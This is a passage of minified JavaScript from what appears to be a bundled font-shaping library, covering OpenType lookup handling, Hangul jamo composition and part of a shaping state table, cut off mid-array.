3:if(this.coverageSequenceMatches(-t.backtrackGlyphCount,t.backtrackCoverage)&amp;&amp;this.coverageSequenceMatches(0,t.inputCoverage)&amp;&amp;this.coverageSequenceMatches(t.inputGlyphCount,t.lookaheadCoverage))return this.applyLookupList(t.lookupRecords);break}return!1}constructor(t,r){this.font=t,this.table=r,this.script=null,this.scriptTag=null,this.language=null,this.languageTag=null,this.features={},this.lookups={},this.variationsIndex=t._variationProcessor?this.findVariationsIndex(t._variationProcessor.normalizedCoords):-1,this.selectScript(),this.glyphs=[],this.positions=[],this.ligatureID=1,this.currentFeature=null}}class q0{get id(){return this._id}set id(t){this._id=t,this.substituted=!0;let r=this._font.GDEF;if(r&amp;&amp;r.glyphClassDef){let n=Cw.prototype.getClassID(t,r.glyphClassDef);this.isBase=n===1,this.isLigature=n===2,this.isMark=n===3,this.markAttachmentType=r.markAttachClassDef?Cw.prototype.getClassID(t,r.markAttachClassDef):0}else this.isMark=this.codePoints.length&gt;0&amp;&amp;this.codePoints.every(nB),this.isBase=!this.isMark,this.isLigature=this.codePoints.length&gt;1,this.markAttachmentType=0}copy(){return new q0(this._font,this.id,this.codePoints,this.features)}constructor(t,r,n=[],i){if(this._font=t,this.codePoints=n,this.id=r,this.features={},Array.isArray(i))for(let s=0;s&lt;i.length;s++){let o=i[s];this.features[o]=!0}else typeof i==&quot;object&quot;&amp;&amp;Object.assign(this.features,i);this.ligatureID=null,this.ligatureComponent=null,this.isLigated=!1,this.cursiveAttachment=null,this.markAttachment=null,this.shaperInfo=null,this.substituted=!1,this.isMultiplied=!1}}class YH extends Fm{static planFeatures(t){t.add([&quot;ljmo&quot;,&quot;vjmo&quot;,&quot;tjmo&quot;],!1)}static assignFeatures(t,r){let n=0,i=0;for(;i&lt;r.length;){let s,l=r[i].codePoints[0],c=Sw(l);switch([s,n]=Aye[n][c],s){case Of:t.font.hasGlyphForCodePoint(l)||(i=XH(r,i,t.font));break;case kN:i=xye(r,i,t.font);break;case _N:yye(r,i,t.font);break;case DN:i=bye(r,i,t.font);break}i++}}}Bc(YH,&quot;zeroMarkWidths&quot;,&quot;NONE&quot;);const A1=44032,ZH=55204,eye=ZH-A1+1,Z4=4352,J4=4449,sg=4519,tye=19,Iw=21,Iv=28,rye=Z4+tye-1,nye=J4+Iw-1,iye=sg+Iv-1,OT=9676,aye=e=&gt;4352&lt;=e&amp;&amp;e&lt;=4447||43360&lt;=e&amp;&amp;e&lt;=43388,sye=e=&gt;4448&lt;=e&amp;&amp;e&lt;=4519||55216&lt;=e&amp;&amp;e&lt;=55238,oye=e=&gt;4520&lt;=e&amp;&amp;e&lt;=4607||55243&lt;=e&amp;&amp;e&lt;=55291,lye=e=&gt;12334&lt;=e&amp;&amp;e&lt;=12335,cye=e=&gt;A1&lt;=e&amp;&amp;e&lt;=ZH,uye=e=&gt;e-A1&lt;eye&amp;&amp;(e-A1)%Iv===0,dye=e=&gt;Z4&lt;=e&amp;&amp;e&lt;=rye,fye=e=&gt;J4&lt;=e&amp;&amp;e&lt;=nye,hye=e=&gt;1&lt;=e&amp;&amp;e&lt;=iye,mye=0,pye=1,jw=2,cB=3,Nw=4,JH=5,gye=6;function Sw(e){return aye(e)?pye:sye(e)?jw:oye(e)?cB:uye(e)?Nw:cye(e)?JH:lye(e)?gye:mye}const pc=0,Of=1,kN=2,_N=4,DN=5,Aye=[[[pc,0],[pc,1],[pc,0],[pc,0],[Of,2],[Of,3],[DN,0]],[[pc,0],[pc,1],[kN,2],[pc,0],[Of,2],[Of,3],[DN,0]],[[pc,0],[pc,1],[pc,0],[kN,3],[Of,2],[Of,3],[_N,0]],[[pc,0],[pc,1],[pc,0],[pc,0],[Of,2],[Of,3],[_N,0]]];function Yx(e,t,r){return new q0(e,e.glyphForCodePoint(t).id,[t],r)}function XH(e,t,r){let n=e[t],s=n.codePoints[0]-A1,o=sg+s%Iv;s=s/Iv|0;let l=Z4+s/Iw|0,c=J4+s%Iw;if(!r.hasGlyphForCodePoint(l)||!r.hasGlyphForCodePoint(c)||o!==sg&amp;&amp;!r.hasGlyphForCodePoint(o))return t;let d=Yx(r,l,n.features);d.features.ljmo=!0;let u=Yx(r,c,n.features);u.features.vjmo=!0;let h=[d,u];if(o&gt;sg){let p=Yx(r,o,n.features);p.features.tjmo=!0,h.push(p)}return e.splice(t,1,...h),t+h.length-1}function xye(e,t,r){let n=e[t],i=e[t].codePoints[0],s=Sw(i),o=e[t-1].codePoints[0],l=Sw(o),c,d,u,h;if(l===Nw&amp;&amp;s===cB)c=o,h=n;else{s===jw?(d=e[t-1],u=n):(d=e[t-2],u=e[t-1],h=n);let A=d.codePoints[0],y=u.codePoints[0];dye(A)&amp;&amp;fye(y)&amp;&amp;(c=A1+((A-Z4)*Iw+(y-J4))*Iv)}let p=h&amp;&amp;h.codePoints[0]||sg;if(c!=null&amp;&amp;(p===sg||hye(p))){let A=c+(p-sg);if(r.hasGlyphForCodePoint(A)){let y=l===jw?3:2;return e.splice(t-y+1,y,Yx(r,A,n.features)),t-y+1}}return d&amp;&amp;(d.features.ljmo=!0),u&amp;&amp;(u.features.vjmo=!0),h&amp;&amp;(h.features.tjmo=!0),l===Nw?(XH(e,t-1,r),t+1):t}function vye(e){switch(Sw(e)){case Nw:case JH:return 1;case jw:return 2;case cB:return 3}}function yye(e,t,r){let n=e[t],i=e[t].codePoints[0];if(r.glyphForCodePoint(i).advanceWidth===0)return;let s=e[t-1].codePoints[0],o=vye(s);return e.splice(t,1),e.splice(t-o,0,n)}function bye(e,t,r){let n=e[t],i=e[t].codePoints[0];if(r.hasGlyphForCodePoint(OT)){let s=Yx(r,OT,n.features),o=r.glyphForCodePoint(i).advanceWidth===0?t:t+1;e.splice(o,0,s),t++}return t}var eq={};eq=JSON.parse(&#039;{&quot;stateTable&quot;:[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,2,3,4,5,6,7,8,9,0,10,11,11,12,13,14,15,16,17],[0,0,0,18,19,20,21,22,23,0,24,0,0,25,26,0,0,27,0],[0,0,0,28,29,30,31,32,33,0,34,0,0,35,36,0,0,37,0],[0,0,0,38,5,7,7,8,9,0,10,0,0,0,13,0,0,16,0],[0,39,0,0,0,40,41,0,9,0,10,0,0,0,42,0,39,0,0],[0,0,0,0,43,44,44,8,9,0,0,0,0,12,43,0,0,0,0],[0,0,0,0,43,44,44,8,9,0,0,0,0,0,43,0,0,0,0],[0,0,0,45,46,47,48,49,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,50,0,0,51,0,10,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,52,0,0,0,0,0,0,0,0],[0,0,0,53,54,55,56,57,58,0,59,0,0,60,61,0,0,62,0],[0,0,0,4,5,7,7,8,9,0,10,0,0,0,13,0,0,16,0],[0,63,64,0,0,40,41,0,9,0,10,0,0,0,42,0,63,0,0],[0,2,3,4,5,6,7,8,9,0,10,11,11,12,13,0,2,16,0],[0,0,0,18,65,20,21,22,23,0,24,0,0,25,26,0,0,27,0],[0,0,0,0,66,67,67,8,9,0,10,0,0,0,68,0,0,0,0],[0,0,0,69,0,70,70,0,71,0,72,0,0,0,0,0,0,0,0],[0,0,0,73,19,74,74,22,23,0,24,0,0,0,26,0,0,27,0],[0,75,0,0,0,76,77,0,23,0,24,0,0,0,78,0,75,0,0],[0,0,0,0,79,80,80,22,23,0,0,0,0,25,79,0,0,0,0],[0,0,0,18,19,20,74,22,23,0,24,0,0,25,26,0,0,27,0],[0,0,0,81,82,83,84,85,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,86,0,0,87,0,24,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,88,0,0,0,0,0,0,0,0],[0,0,0,18,19,74,74,22,23,0,24,0,0,0,26,0,0,27,0],[0,89,90,0,0,76,77,0,23,0,24,0,0,0,78,0,89,0,0],[0,0,0,0,91,92,92,22,23,0,24,0,0,0,93,0,0,0,0],[0,0,0,94,29,95,31,32,33,0,34,0,0,0,36,0,0,37,0],[0,96,0,0,0,97,98,0,33,0,34,0,0,0,99,0,96,0,0],[0,0,0,0,100,101,101,32,33,0,0,0,0,35,100,0,0,0,0],[0,0,0,0,100,101,101,32,33,0,0,0,0,0,100,0,0,0,0],[0,0,0,102,103,104,105,106,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,107,0,0,108,0,34,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,109,0,0,0,0,0,0,0,0],[0,0,0,28,29,95,31,32,33,0,34,0,0,0,36,0,0,37,0],[0,110,111,0,0,97,98,0,33,0,34,0,0,0,99,0,110,0,0],[0,0,0,0,112,113,113,32,33,0,34,0,0,0,114,0,0,0,0],[0,0,0,0,5,7,7,8,9,0,10,0,0,0,13,0,0,16,0],[0,0,0,115,116,117,118,8,9,0,10,0,0,119,120,0,0,16,0],[0,0,0,0,0,121,121,0,9,0,10,0,0,0,42,0,0,0,0],[0,39,0,122,0,123,123,8,9,0,10,0,0,0,42,0,39,0,0],[0,124,64,0,0,0,0,0,0,0,0,0,0,0,0,0,124,0,0],[0,39,0,0,0,121,125,0,9,0,10,0,0,0,42,0,39,0,0],[0,0,0,0,0,126,126,8,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,46,47,48,49,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,47,47,49,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,127,127,49,9,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,128,127,127,49,9,0,0,0,0,0,0,0,0,0,0],[0,0,0,129,130,131,132,133,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,10,0,0,0,0,0,0,0,0],[0,0,0,0,0,50,0,0,0,0,10,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,134,0,0,0,0,0,0,0,0],[0,0,0,135,54,56,56,57,58,0,59,0,0,0,61,0,0,62,0],[0,136,0,0,0,137,138,0,58,0,59,0,0,0,139,0,136,0,0],[0,0,0,0,140,141,141,57,58,0,0,0,0,60,140,0,0,0,0],[0,0,0,0,140,141,141,57,58,0,0,0,0,0,140,0,0,0,0],[0,0,0,142,143,144,145,146,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,147,0,0,148,0,59,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,149,0,0,0,0,0,0,0,0],[0,0,0,53,54,56,56,57,58,0,59,0,0,0,61,0,0,62,0],[0,150,151,0,0,137,138,0,58,0,59,0,0,0,139,0,150,0,0],[0,0,0,0,152,153,153,57,58,0,59,0,0,0,154,0,0,0,0],[0,0,0,155,116,156,157,8,9,0,10,0,0,158,120,0,0,16,0],[0,0,0,0,0,121,121,0,9,0,10,0,0,0,0,0,0,0,0],[0,75,3,4,5,159,160,8,161,0,162,0,11,12,163,0,75,16,0],[0,0,0,0,0,40,164,0,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,165,44,44,8,9,0,0,0,0,0,165,0,0,0,0],[0,124,64,0,0,40,164,0,9,0,10,0,0,0,42,0,124,0,0],[0,0,0,0,0,70,70,0,71,0,72,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,71,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,166,0,0,167,0,72,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,168,0,0,0,0,0,0,0,0],[0,0,0,0,19,74,74,22,23,0,24,0,0,0,26,0,0,27,0],[0,0,0,0,79,80,80,22,23,0,0,0,0,0,79,0,0,0,0],[0,0,0,169,170,171,172,22,23,0,24,0,0,173,174,0,0,27,0],[0,0,0,0,0,175,175,0,23,0,24,0,0,0,78,0,0,0,0],[0,75,0,176,0,177,177,22,23,0,24,0,0,0,78,0,75,0,0],[0,178,90,0,0,0,0,0,0,0,0,0,0,0,0,0,178,0,0],[0,75,0,0,0,175,179,0,23,0,24,0,0,0,78,0,75,0,0],[0,0,0,0,0,180,180,22,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,82,83,84,85,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,83,83,85,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,181,181,85,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,182,181,181,85,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,183,184,185,186,187,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,24,0,0,0,0,0,0,0,0],[0,0,0,0,0,86,0,0,0,0,24,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,188,0,0,0,0,0,0,0,0],[0,0,0,189,170,190,191,22,23,0,24,0,0,192,174,0,0,27,0],[0,0,0,0,0,175,175,0,23,0,24,0,0,0,0,0,0,0,0],[0,0,0,0,0,76,193,0,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,194,80,80,22,23,0,0,0,0,0,194,0,0,0,0],[0,178,90,0,0,76,193,0,23,0,24,0,0,0,78,0,178,0,0],[0,0,0,0,29,95,31,32,33,0,34,0,0,0,36,0,0,37,0],[0,0,0,0,100,101,101,32,33,0,0,0,0,0,100,0,0,0,0],[0,0,0,195,196,197,198,32,33,0,34,0,0,199,200,0,0,37,0],[0,0,0,0,0,201,201,0,33,0,34,0,0,0,99,0,0,0,0],[0,96,0,202,0,203,203,32,33,0,34,0,0,0,99,0,96,0,0],[0,204,111,0,0,0,0,0,0,0,0,0,0,0,0,0,204,0,0],[0,96,0,0,0,201,205,0,33,0,34,0,0,0,99,0,96,0,0],[0,0,0,0,0,206,206,32,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,103,104,105,106,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,104,104,106,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,207,207,106,33,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,208,207,207,106,33,0,0,0,0,0,0,0,0,0,0],[0,0,0,209,210,211,212,213,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,34,0,0,0,0,0,0,0,0],[0,0,0,0,0,107,0,0,0,0,34,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,214,0,0,0,0,0,0,0,0],[0,0,0,215,196,216,217,32,33,0,34,0,0,218,200,0,0,37,0],[0,0,0,0,0,201,201,0,33,0,34,0,0,0,0,0,0,0,0],[0,0,0,0,0,97,219,0,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,220,101,101,32,33,0,0,0,0,0,220,0,0,0,0],[0,204,111,0,0,97,219,0,33,0,34,0,0,0,99,0,204,0,0],[0,0,0,221,116,222,222,8,9,0,10,0,0,0,120,0,0,16,0],[0,223,0,0,0,40,224,0,9,0,10,0,0,0,42,0,223,0,0],[0,0,0,0,225,44,44,8,9,0,0,0,0,119,225,0,0,0,0],[0,0,0,115,116,117,222,8,9,0,10,0,0,119,120,0,0,16,0],[0,0,0,115,116,222,222,8,9,0,10,0,0,0,120,0,0,16,0],[0,226,64,0,0,40,224,0,9,0,10,0,0,0,42,0,226,0,0],[0,0,0,0,0,0,0,0,9,0,0,0,0,0,0,0,0,0,0],[0,39,0,0,0,121,121,0,9,0,10,0,0,0,42,0,39,0,0],[0,0,0,0,0,44,44,8,9,0,0,0,0,0,0,0,0,0,0],[0,0,0,227,0,228,229,0,9,0,10,0,0,230,0,0,0,0,0],[0,39,0,122,0,121,121,0,9,0,10,0,0,0,42,0,39,0,0],[0,0,0,0,0,0,0,8,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,231,231,49,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,232,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,130,131,132,133,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,131,131,133,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,233,233,133,9,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,234,233,233,133,9,0,0,0,0,0,0,0,0,0,0],[0,0,0,235,236,237,238,239,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,54,56,56,57,58,0,59,0,0,0,61,0,0,62,0],[0,0,0,240,241,242,243,57,58,0,59,0,0,244,245,0,0,62,0],[0,0,0,0,0,246,246,0,58,0,59,0,0,0,139,0,0,0,0],[0,136,0,247,0,248,248,57,58,0,59,0,0,0,139,0,136,0,0],[0,249,151,0,0,0,0,0,0,0,0,0,0,0,0,0,249,0,0],[0,136,0,0,0,246,250,0,58,0,59,0,0,0,139,0,136,0,0],[0,0,0,0,0,251,251,57,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,143,144,145,146,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,144,144,146,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,252,252,146,58,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,253,252,252,146,58,0,0,0,0,0,0,0,0,0,0],[0,0,0,254,255,256,257,258,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,59,0,0,0,0,0,0,0,0],[0,0,0,0,0,147,0,0,0,0,59,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,259,0,0,0,0,0,0,0,0],[0,0,0,260,241,261,262,57,58,0,59,0,0,263,245,0,0,62,0],[0,0,0,0,0,246,246,0,58,0,59,0,0,0,0,0,0,0,0],[0,0,0,0,0,137,264,0,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,265,141,141,57,58,0,0,0,0,0,265,0,0,0,0],[0,249,151,0,0,137,264,0,58,0,59,0,0,0,139,0,249,0,0],[0,0,0,221,116,222,222,8,9,0,10,0,0,0,120,0,0,16,0],[0,0,0,0,225,44,44,8,9,0,0,0,0,158,225,0,0,0,0],[0,0,0,155,116,156,222,8,9,0,10,0,0,158,120,0,0,16,0],[0,0,0,155,116,222,222,8,9,0,10,0,0,0,120,0,0,16,0],[0,0,0,0,43,266,266,8,161,0,24,0,0,12,267,0,0,0,0],[0,75,0,176,43,268,268,269,161,0,24,0,0,0,267,0,75,0,0],[0,0,0,0,0,270,0,0,271,0,162,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,272,0,0,0,0,0,0,0,0],[0,273,274,0,0,40,41,0,9,0,10,0,0,0,42,0,273,0,0],[0,0,0,40,0,123,123,8,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,121,275,0,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,72,0,0,0,0,0,0,0,0],[0,0,0,0,0,166,0,0,0,0,72,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,276,0,0,0,0,0,0,0,0],[0,0,0,277,170,278,278,22,23,0,24,0,0,0,174,0,0,27,0],[0,279,0,0,0,76,280,0,23,0,24,0,0,0,78,0,279,0,0],[0,0,0,0,281,80,80,22,23,0,0,0,0,173,281,0,0,0,0],[0,0,0,169,170,171,278,22,23,0,24,0,0,173,174,0,0,27,0],[0,0,0,169,170,278,278,22,23,0,24,0,0,0,174,0,0,27,0],[0,282,90,0,0,76,280,0,23,0,24,0,0,0,78,0,282,0,0],[0,0,0,0,0,0,0,0,23,0,0,0,0,0,0,0,0,0,0],[0,75,0,0,0,175,175,0,23,0,24,0,0,0,78,0,75,0,0],[0,0,0,0,0,80,80,22,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,283,0,284,285,0,23,0,24,0,0,286,0,0,0,0,0],[0,75,0,176,0,175,175,0,23,0,24,0,0,0,78,0,75,0,0],[0,0,0,0,0,0,0,22,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,287,287,85,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,288,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,184,185,186,187,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,185,185,187,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,289,289,187,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,290,289,289,187,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,291,292,293,294,295,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,277,170,278,278,22,23,0,24,0,0,0,174,0,0,27,0],[0,0,0,0,281,80,80,22,23,0,0,0,0,192,281,0,0,0,0],[0,0,0,189,170,190,278,22,23,0,24,0,0,192,174,0,0,27,0],[0,0,0,189,170,278,278,22,23,0,24,0,0,0,174,0,0,27,0],[0,0,0,76,0,177,177,22,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,175,296,0,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,297,196,298,298,32,33,0,34,0,0,0,200,0,0,37,0],[0,299,0,0,0,97,300,0,33,0,34,0,0,0,99,0,299,0,0],[0,0,0,0,301,101,101,32,33,0,0,0,0,199,301,0,0,0,0],[0,0,0,195,196,197,298,32,33,0,34,0,0,199,200,0,0,37,0],[0,0,0,195,196,298,298,32,33,0,34,0,0,0,200,0,0,37,0],[0,302,111,0,0,97,300,0,33,0,34,0,0,0,99,0,302,0,0],[0,0,0,0,0,0,0,0,33,0,0,0,0,0,0,0,0,0,0],[0,96,0,0,0,201,201,0,33,0,34,0,0,0,99,0,96,0,0],[0,0,0,0,0,101,101,32,33,0,0,0,0,0,0,0,0,0,0],[0,0,0,303,0,304,305,0,33,0,34,0,0,306,0,0,0,0,0],[0,96,0,202,0,201,201,0,33,0,34,0,0,0,99,0,96,0,0],[0,0,0,0,0,0,0,32,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,307,307,106,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,308,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,210,211,212,213,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,211,211,213,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,309,309,213,33,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,310,309,309,213,33,0,0,0,0,0,0,0,0,0,0],[0,0,0,311,312,313,314,315,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,297,196,298,298,32,33,0,34,0,0,0,200,0,0,37,0],[0,0,0,0,301,101,101,32,33,0,0,0,0,218,301,0,0,0,0],[0,0,0,215,196,216,298,32,33,0,34,0,0,218,200,0,0,37,0],[0,0,0,215,196,298,298,32,33,0,34,0,0,0,200,0,0,37,0],[0,0,0,97,0,203,203,32,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,0,201,316,0,33,0,34,0,0,0,99,0,0,0,0],[0,0,0,0,116,222,222,8,9,0,10,0,0,0,120,0,0,16,0],[0,0,0,0,225,44,44,8,9,0,0,0,0,0,225,0,0,0,0],[0,0,0,317,318,319,320,8,9,0,10,0,0,321,322,0,0,16,0],[0,223,0,323,0,123,123,8,9,0,10,0,0,0,42,0,223,0,0],[0,223,0,0,0,121,324,0,9,0,10,0,0,0,42,0,223,0,0],[0,0,0,325,318,326,327,8,9,0,10,0,0,328,322,0,0,16,0],[0,0,0,64,0,121,121,0,9,0,10,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,9,0,0,0,0,230,0,0,0,0,0],[0,0,0,227,0,228,121,0,9,0,10,0,0,230,0,0,0,0,0],[0,0,0,227,0,121,121,0,9,0,10,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,49,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,46,0,0],[0,0,0,0,0,329,329,133,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,330,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,236,237,238,239,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,237,237,239,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,331,331,239,9,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,332,331,331,239,9,0,0,0,0,0,0,0,0,0,0],[0,0,0,333,40,121,334,0,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,335,241,336,336,57,58,0,59,0,0,0,245,0,0,62,0],[0,337,0,0,0,137,338,0,58,0,59,0,0,0,139,0,337,0,0],[0,0,0,0,339,141,141,57,58,0,0,0,0,244,339,0,0,0,0],[0,0,0,240,241,242,336,57,58,0,59,0,0,244,245,0,0,62,0],[0,0,0,240,241,336,336,57,58,0,59,0,0,0,245,0,0,62,0],[0,340,151,0,0,137,338,0,58,0,59,0,0,0,139,0,340,0,0],[0,0,0,0,0,0,0,0,58,0,0,0,0,0,0,0,0,0,0],[0,136,0,0,0,246,246,0,58,0,59,0,0,0,139,0,136,0,0],[0,0,0,0,0,141,141,57,58,0,0,0,0,0,0,0,0,0,0],[0,0,0,341,0,342,343,0,58,0,59,0,0,344,0,0,0,0,0],[0,136,0,247,0,246,246,0,58,0,59,0,0,0,139,0,136,0,0],[0,0,0,0,0,0,0,57,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,345,345,146,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,346,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,255,256,257,258,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,256,256,258,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,347,347,258,58,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,348,347,347,258,58,0,0,0,0,0,0,0,0,0,0],[0,0,0,349,350,351,352,353,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,335,241,336,336,57,58,0,59,0,0,0,245,0,0,62,0],[0,0,0,0,339,141,141,57,58,0,0,0,0,263,339,0,0,0,0],[0,0,0,260,241,261,336,57,58,0,59,0,0,263,245,0,0,62,0],[0,0,0,260,241,336,336,57,58,0,59,0,0,0,245,0,0,62,0],[0,0,0,137,0,248,248,57,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,246,354,0,58,0,59,0,0,0,139,0,0,0,0],[0,0,0,0,0,126,126,8,23,0,0,0,0,0,0,0,0,0,0],[0,355,90,0,0,121,125,0,9,0,10,0,0,0,42,0,355,0,0],[0,0,0,0,0,356,356,269,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,357,358,359,360,361,161,0,162,0,0,0,362,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,162,0,0,0,0,0,0,0,0],[0,0,0,0,0,270,0,0,0,0,162,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,363,0,0,0,0,0,0,0,0],[0,0,0,364,116,365,366,8,161,0,162,0,0,367,120,0,0,16,0],[0,0,0,0,0,368,368,0,161,0,162,0,0,0,0,0,0,0,0],[0,0,0,40,0,121,121,0,9,0,10,0,0,0,42,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,170,278,278,22,23,0,24,0,0,0,174,0,0,27,0],[0,0,0,0,281,80,80,22,23,0,0,0,0,0,281,0,0,0,0],[0,0,0,369,370,371,372,22,23,0,24,0,0,373,374,0,0,27,0],[0,279,0,375,0,177,177,22,23,0,24,0,0,0,78,0,279,0,0],[0,279,0,0,0,175,376,0,23,0,24,0,0,0,78,0,279,0,0],[0,0,0,377,370,378,379,22,23,0,24,0,0,380,374,0,0,27,0],[0,0,0,90,0,175,175,0,23,0,24,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,23,0,0,0,0,286,0,0,0,0,0],[0,0,0,283,0,284,175,0,23,0,24,0,0,286,0,0,0,0,0],[0,0,0,283,0,175,175,0,23,0,24,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,85,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,82,0,0],[0,0,0,0,0,381,381,187,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,382,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,292,293,294,295,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,293,293,295,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,0,383,383,295,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,384,383,383,295,23,0,0,0,0,0,0,0,0,0,0],[0,0,0,385,76,175,386,0,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,76,0,175,175,0,23,0,24,0,0,0,78,0,0,0,0],[0,0,0,0,196,298,298,32,33,0,34,0,0,0,200,0,0,37,0],[0,0,0,0,301,101,101,32,33,0,0,0,0,0,301,0,0,0,0],[0,0,0,387,388,389,390,32,33,0,34,0,0,391,392,0,0,37,0],[0,299,0,393,0,203,203,32,33,0,34,0,0,0,99,0,299,0,0],[0,299,0,0,0,201,394,0,33,0,34,0,0,0,99,0,299,0,0],[0,0,0,395,388,396,397,32,33,0,34,0,0,398,392,0,0,37,0],[0,0,0,111,0,201,201,0,33,0,34,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,33,0,0,0,0,306,0,0,0,0,0],[0,0,0,303,0,304,201,0,33,0,34,0,0,306,0,0,0,0,0],[0,0,0,303,0,201,201,0,33,0,34,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,106,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,103,0,0],[0,0,0,0,0,399,399,